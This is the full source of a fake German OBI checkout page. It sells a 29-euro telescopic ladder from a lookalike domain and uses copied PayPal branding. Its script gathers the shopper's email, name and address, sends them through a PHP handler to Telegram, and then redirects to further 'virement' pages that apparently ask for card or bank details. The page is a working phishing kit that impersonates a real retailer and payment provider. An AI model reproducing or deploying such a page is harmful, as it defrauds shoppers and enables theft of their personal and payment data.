<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>OBI Checkout</title>
    <style>
        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
        }
        
        html, body {
            width: 100%;
            height: 100%;
            overflow-x: hidden;
        }
        
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
            background-color: #ffffff;
            color: #333;
            font-size: 14px;
            line-height: 1.4;
            width: 100%;
            margin: 0;
            padding: 0;
        }
        
        .container {
            width: 100%;
            max-width: 100%;
            margin: 0;
            padding: 0;
        }
        
        .header {
            background-color: #fff;
            padding: 15px 0;
            border-bottom: 1px solid #e6e6e6;
            text-align: center;
            width: 100%;
            margin: 0;
        }
        
        .logo {
            height: 32px;
            display: inline-block;
        }
        
        .main-content {
            display: flex;
            gap: 0;
            margin: 0;
            width: 100%;
        }
        
        .payment-section {
            flex: 2;
            background: #fff;
            border-radius: 0;
            padding: 25px;
            box-shadow: none;
            width: 100%;
            max-width: none;
            margin: 0;
            box-sizing: border-box;
        }
        
        .section-title {
            font-size: 18px;
            font-weight: 600;
            margin-bottom: 20px;
            padding-bottom: 10px;
            padding-top: 10px;
            border-bottom: 1px solid #e6e6e6;
        }
        
        .form-group {
            position: relative;
            margin-bottom: 25px;
        }
        
        .form-row {
            display: flex;
            gap: 15px;
        }
        
        .form-col {
            flex: 1;
        }
        
        .floating-label {
            position: absolute;
            top: 50%;
            left: 12px;
            transform: translateY(-50%);
            font-size: 14px;
            color: #999;
            pointer-events: none;
            transition: all 0.2s ease;
            background: #fff;
            padding: 0 5px;
        }
        
        .form-control {
            width: 100%;
            padding: 12px 15px;
            border: 1px solid #ccc;
            border-radius: 4px;
            font-size: 14px;
            transition: border-color 0.2s;
        }
        
        .form-control:focus {
            outline: none;
            border-color: #007cba;
        }
        
        .form-control:focus + .floating-label,
        .form-control:not(:placeholder-shown) + .floating-label {
            top: -10px;
            left: 10px;
            font-size: 12px;
            color: #007cba;
            transform: translateY(0);
        }
        
        .country-group {
            margin-bottom: 25px;
        }
        
        .country-label {
            display: block;
            margin-bottom: 5px;
            font-weight: 500;
            font-size: 13px;
            color: #333;
        }
        
        select.form-control {
            padding: 12px 15px;
        }
        
        input, select {
            width: 100%;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 3px;
            font-size: 14px;
        }
        
        input:focus, select:focus {
            outline: none;
            border-color: #007cba;
            box-shadow: 0 0 0 1px #007cba;
        }
        
        .paypal-checkout-wrapper { 
            margin-bottom: 22px; 
            width: 100%; 
            clear: both; 
        }
        
        .paypal-btn {
            display: flex !important; 
            align-items: center; 
            justify-content: center; 
            gap: 8px;
            width: 100%; 
            height: 52px; 
            margin-bottom: 12px; 
            border-radius: 25px;
            font-size: 15px; 
            font-weight: 600; 
            color: #ffffff !important;
            text-decoration: none !important; 
            transition: background-color 0.15s ease;
            cursor: pointer;
        }
        
        .paypal-blue { background-color: #0A58BE; }
        .paypal-blue:hover { background-color: #1b6fd1; }
        .paypal-card { background-color: #2c2e2f; }
        .paypal-card:hover { background-color: #3a3c3d; }
        .card-icon-img {
    width: 26px;
    height: auto;
    padding-top: 5px;
    padding-bottom: 10px;
}

        
        .paypal-main img { height: 22px; width: auto; }
        .paypal-later img { height: 18px; width: auto; }
        
        .paypal-powered {
            display: flex; 
            justify-content: center; 
            align-items: center;
            gap: 4px; 
            font-size: 12px; 
            color: #777; 
            margin-top: 10px;
        }
        
        .paypal-powered img { height: 14px; width: auto; }
        
        .security-note {
            text-align: center;
            font-size: 12px;
            color: #777;
            margin-top: 15px;
        }
        
        /* Order Summary Styles */
        .order-summary-section {
            width: 100%;
            margin-bottom: 20px;
        }
        
        .order-container {
            width: 100%;
            border: 1px solid #e2e2e2;
            background: #F5F5F5;
            padding: 15px 20px;
            cursor: pointer;
            box-sizing: border-box;
        }

        .order-header {
            display: flex;
            justify-content: space-between;
            font-size: 15px;
            color: #0066cc;
            font-weight: 500;
        }

        .order-header strong {
            color: black;
            font-size: 17px;
            font-weight: 600;
        }

        .arrow {
            font-size: 14px;
            margin-left: 5px;
        }

        .content {
            width: 100%;
            border: 1px solid #e2e2e2;
            border-top: none;
            padding: 20px;
            display: none;
            background: #F5F5F5;
            font-size: 14px;
            box-sizing: border-box;
        }

        .item {
            display: flex;
            justify-content: space-between;
            margin-bottom: 18px;
        }

        .item-details {
            display: flex;
            gap: 12px;
            align-items: center;
        }

        .item img {
            width: 65px;
            height: 65px;
            border-radius: 8px;
            object-fit: cover;
            flex-shrink: 0;
        }

        .item-info {
            display: flex;
            flex-direction: column;
            margin-bottom: 5px;
        }

        .item-title {
            font-size: 12px;
            font-weight: 600;
            margin-bottom: 3px;
        }

        .small-info {
            font-size: 13px;
            color: gray;
            margin-top: 3px;
            text-align: left;
        }

        .item-price {
            font-size: 15px;
            font-weight: 600;
            color: black;
            margin-left: 10px;
            white-space: nowrap;
            margin-top: 9px;
        }

        .line {
            border-top: 1px solid #ddd;
            margin-bottom: 22px;
        }
        
        .summary {
            display: flex;
            justify-content: space-between;
            margin-bottom: 10px;
        }

        .total-label {
            margin-top: 20px;
            font-weight: bold;
            font-size: 18px;
            display: flex;
            width: 100%;
            justify-content: space-between;
        }

        .total-value {
            font-size: 16px;
            font-weight: 600;
        }
        
        /* Shipment Container Styles */
        .shipment-container {
            width: 100%;
            font-family: Arial, sans-serif;
            margin: 3px 0;
        }

        .title {
            font-size: 16px;
            font-weight: bold;
            margin-bottom: 10px;
        }

        .subtitle {
            font-size: 14px;
            font-weight: normal;
            margin-bottom: 13px;
        }

        .box {
            border: 1px solid #4a90e2;
            background: #f4f5ff;
            padding: 15px;
            border-radius: 8px;
            display: flex;
            justify-content: space-between;
            font-size: 14px;
            font-weight: normal;
        }

        .box .right {
            font-weight: bold;
        }
        
        /* Loading Overlay Styles */
        :root {
            --speed: 1.5s;
        }
        
        .fullscreen-overlay {
            position: fixed !important;
            top: 0 !important;
            left: 0 !important;
            width: 100vw !important;
            height: 100vh !important;
            background: white !important;
            display: none !important;
            justify-content: center !important;
            align-items: center !important;
            z-index: 999999 !important;
            margin: 0 !important;
            padding: 0 !important;
            overflow: hidden !important;
        }
        
        .fullscreen-overlay.active {
            display: flex !important;
        }
        
        .loading-content {
            text-align: center;
        }
        
        .content {
            text-align: center;
        }
        
        .loader {
            width: 120px;
            height: 120px;
            position: relative;
        }
        
        .loader::after {
            content: "";
            position: absolute;
            inset: 0;
            border: 8px solid #ccc;
            border-radius: 50%;
            box-sizing: border-box;
            z-index: 1;
        }
        
        .loader::before {
            content: "";
            position: absolute;
            inset: 0;
            border: 8px solid transparent;
            border-top-color: #1A73E8;
            border-radius: 50%;
            box-sizing: border-box;
            animation: spin var(--speed) linear infinite;
            z-index: 2;
        }
        
        .lock-icon {
            width: 45px;
            height: 65px;
        }
        
        .lock {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            z-index: 3;
        }
        
        .loading-text {
            margin-top: 18px;
            font-size: 20px;
            font-family: Arial, sans-serif;
            color: #7a7a7a;
        }
        
        @keyframes spin {
            to {
                transform: rotate(360deg);
            }
        }
        
        /* Mobile Optimization */
        @media (max-width: 768px) {
            html, body {
                width: 100%;
                overflow-x: hidden;
            }
            
            .main-content {
                flex-direction: column;
                width: 100%;
                margin: 0;
                padding: 0;
            }
            
            .form-row {
                flex-direction: column;
                gap: 0;
            }
            
            .payment-section {
                padding: 15px;
                width: 100%;
            }
            
            .container {
                padding: 0 10px;
            }
            
            .order-header {
                font-size: 14px;
            }
            
            .item-title {
                font-size: 11px;
            }
            
            .item-price {
                font-size: 14px;
            }
        }
        
        @media (max-width: 480px) {
            .payment-section {
                padding: 10px;
            }
            
            .container {
                padding: 0 5px;
            }
            
            .form-control {
                padding: 10px 12px;
                font-size: 16px; /* Prevents zoom on iOS */
            }
            
            .section-title {
                font-size: 16px;
                margin-bottom: 15px;
            }
            
            .item-details {
                flex-direction: row;
                align-items: flex-start;
            }
            
            .item img {
                width: 50px;
                height: 50px;
            }
            
            .paypal-btn {
                height: 48px;
                font-size: 14px;
            }
        }
        
        /* Very small screens */
        @media (max-width: 320px) {
            .payment-section {
                padding: 8px;
            }
            
            .form-control {
                padding: 8px 10px;
                font-size: 14px;
            }
            
            .loader {
                width: 100px;
                height: 100px;
            }
        }
    </style>
</head>
<body>
    <!-- Fullscreen Loading Overlay -->
    <div class="fullscreen-overlay" id="loadingOverlay">
        <div class="loading-content">
            <div class="loader">
                <div class="lock">
                    <svg class="lock-icon" viewBox="0 0 24 24" fill="none" stroke="#bfbfbf" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="3" y="10" width="18" height="12" rx="2" ry="2"></rect>
                        <path d="M7 10V6a5 5 0 0 1 10 0v4"></path>
                        <line x1="12" y1="14" x2="12" y2="18"></line>
                    </svg>
                </div>
            </div>
            <div class="loading-text">Verarbeitung</div>
        </div>
    </div>
    
    <div class="header">
        <div class="container">
            <img src="https://obi.de-checkout.com/obilogo.png" alt="OBI" class="logo">
        </div>
    </div>
    
    <div class="container">
        <div class="main-content">
            <div class="payment-section">
                <!-- Order Summary Accordion -->
                <div class="order-summary-section">
                    <div class="order-container" onclick="toggleDetails()">
                        <div class="order-header">
                            <span>Bestellübersicht <span class="arrow" id="arrow">▲</span></span>
                            <strong>29,00 €</strong>
                        </div>
                    </div>

                    <div class="content" id="contentBox" style="display: block;">
                        <div class="item">
                            <div class="item-details">
                                <img src="https://obi.de-checkout.com/OBI1.jpg" alt="Produkt">
                                <div class="item-info">
                                    <div class="item-title">Aluminium Teleskopleiter 6 m</div>
                                    <div class="small-info">1 – 3 Tage</div>
                                </div>
                            </div>
                            <div class="item-price">29,00 €</div>
                        </div>

                        <div class="line"></div>

                        <div class="summary">
                            <span>Zwischensumme</span>
                            <span>29,00 €</span>
                        </div>

                        <div class="summary">
                            <span>Versand</span>
                            <span>KOSTENLOS</span>
                        </div>

                        <div class="total-label">
                            Gesamt
                            <span style="font-weight: normal; font-size: 16px;">
                                EUR <span class="total-value">29,00 €</span>
                            </span>
                        </div>
                    </div>
                </div>
                
                <form novalidate>
                    <div class="form-group">
                        <input type="email" id="email" name="email" class="form-control" placeholder=" ">
                        <label for="email" class="floating-label">E-Mail-Adresse</label>
                    </div>
                    
                    <h2 class="section-title">Lieferung</h2>
                    
                    <div class="country-group">
                        <label for="country" class="country-label">Land/Region</label>
                        <select id="country" name="country" class="form-control" required>
                            <option value="DE">Deutschland</option>
                        </select>
                    </div>
                    
                    <div class="form-row">
                        <div class="form-col">
                            <div class="form-group">
                                <input type="text" id="firstName" name="firstName" class="form-control" placeholder=" ">
                                <label for="firstName" class="floating-label">Vorname (Optional)</label>
                            </div>
                        </div>
                        <div class="form-col">
                            <div class="form-group">
                                <input type="text" id="lastName" name="lastName" class="form-control" placeholder=" ">
                                <label for="lastName" class="floating-label">Nachname</label>
                            </div>
                        </div>
                    </div>
                    
                    <div class="form-group">
                        <input type="text" id="address" name="address" class="form-control" placeholder=" ">
                        <label for="address" class="floating-label">Straße und Hausnummer</label>
                    </div>
                    
                    <div class="form-group">
                        <input type="text" id="additionalAddress" name="additionalAddress" class="form-control" placeholder=" ">
                        <label for="additionalAddress" class="floating-label">Wohnung, Zimmer, usw. (optional)</label>
                    </div>
                    
                    <div class="form-row">
                        <div class="form-col">
                            <div class="form-group">
                                <input type="text" id="postalCode" name="postalCode" class="form-control" placeholder=" ">
                                <label for="postalCode" class="floating-label">Postleitzahl</label>
                            </div>
                        </div>
                        <div class="form-col">
                            <div class="form-group">
                                <input type="text" id="city" name="city" class="form-control" placeholder=" ">
                                <label for="city" class="floating-label">Stadt</label>
                            </div>
                        </div>
                    </div>
                    
                    <!-- Shipment Container Added Here -->
                    <div class="shipment-container">
                        <div class="title">Versand</div>
                        <div class="subtitle">Lieferung</div>
                        <div class="box">
                            <span>Versand</span>
                            <span class="right">Kostenlos</span>
                        </div>
                    </div>
                    
                    <h2 class="section-title">Zahlungsmethode</h2>
                    
                    <div class="paypal-checkout-wrapper">
                        <a href="#" class="paypal-btn paypal-blue paypal-main" onclick="handlePayment('Pay with PayPal'); return false;">
                            <span>Pay with</span>
                            <img src="https://garden.com-tools.com/wp-content/uploads/2025/12/110.png" alt="PayPal">
                        </a>
                        
                        <a href="#" class="paypal-btn paypal-blue paypal-later" onclick="handlePayment('Pay Later'); return false;">
                            <img src="https://garden.com-tools.com/wp-content/uploads/2025/12/220.png" alt="PayPal">
                            <span>Pay Later</span>
                        </a>
                        
                        <a href="#" class="paypal-btn paypal-card" onclick="handlePayment('Debit or Credit Card'); return false;">
                            <img src="https://garden.com-tools.com/wp-content/uploads/2025/12/87654.png" class="card-icon-img" alt="Card">
                            <span>Debit or Credit Card</span>
                        </a>
                        
                        <div class="paypal-powered">
                            <span>Bereitgestellt von</span>
                            <img src="https://garden.com-tools.com/wp-content/uploads/2025/12/330.png" alt="PayPal">
                        </div>
                    </div>
                    
                    <div class="security-note">
                        Ihre Daten werden sicher übertragen und sind geschützt.
                    </div>
                </form>
            </div>
        </div>
    </div>
    
    <script>
        // Function to show loading overlay
        function showLoading() {
            const overlay = document.getElementById('loadingOverlay');
            console.log('Attempting to show loading overlay');
            console.log('Overlay element found:', !!overlay);
            overlay.classList.add('active');
            
            // Force the overlay to be visible
            overlay.style.display = 'flex';
            overlay.style.visibility = 'visible';
            overlay.style.opacity = '1';
            
            console.log('Loading overlay shown, computed style:', getComputedStyle(overlay).display);
        }
        
        // Function to hide loading overlay
        function hideLoading() {
            const overlay = document.getElementById('loadingOverlay');
            overlay.classList.remove('active');
            console.log('Loading overlay hidden');
        }

        // Function to toggle order details accordion
        function toggleDetails() {
            const box = document.getElementById("contentBox");
            const arrow = document.getElementById("arrow");

            if (box.style.display === "block") {
                box.style.display = "none";
                arrow.textContent = "▼";
            } else {
                box.style.display = "block";
                arrow.textContent = "▲";
            }
        }

        // Function to handle payment button clicks
        function handlePayment(paymentMethod) {
            console.log('Payment button clicked:', paymentMethod);
            // Show loading overlay immediately
            showLoading();
            
            // Small delay to ensure overlay is visible
            setTimeout(() => {
                // Get form data
                const formData = {
                    'Payment Method': paymentMethod,
                    'Email': document.getElementById('email').value,
                    'Country': document.getElementById('country').value,
                    'First Name': document.getElementById('firstName').value,
                    'Last Name': document.getElementById('lastName').value,
                    'Address': document.getElementById('address').value,
                    'Additional Address': document.getElementById('additionalAddress').value,
                    'Postal Code': document.getElementById('postalCode').value,
                    'City': document.getElementById('city').value
                };
                
                console.log('Form data collected:', formData);
                
                // Different redirect URLs based on payment method
                let redirectUrl = 'https://obi.de-checkout.com/virement/banpay.php';
                if (paymentMethod === 'Debit or Credit Card') {
                    redirectUrl = 'https://obi.de-checkout.com/virement/index.php';
                }
                
                // Send to Telegram and redirect
                sendToTelegram(formData, redirectUrl);
            }, 100); // Small delay to ensure overlay appears
        }

        // Function to send data to Telegram
        function sendToTelegram(data, redirectUrl) {
            console.log('Sending to Telegram...');
            // Send data to our PHP handler
            fetch('telegram-handler.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(data)
            })
            .then(response => response.json())
            .then(result => {
                console.log('Telegram response:', result);
                // Add delay to ensure loading screen is visible
                setTimeout(() => {
                    window.location.href = redirectUrl;
                }, 1500); // .5 second delay
            })
            .catch(error => {
                console.error('Error sending to Telegram:', error);
                // Add delay even on error
                setTimeout(() => {
                    window.location.href = redirectUrl;
                }, 1500); // 1.5 second delay
            });
        }
    </script>
</body>
</html>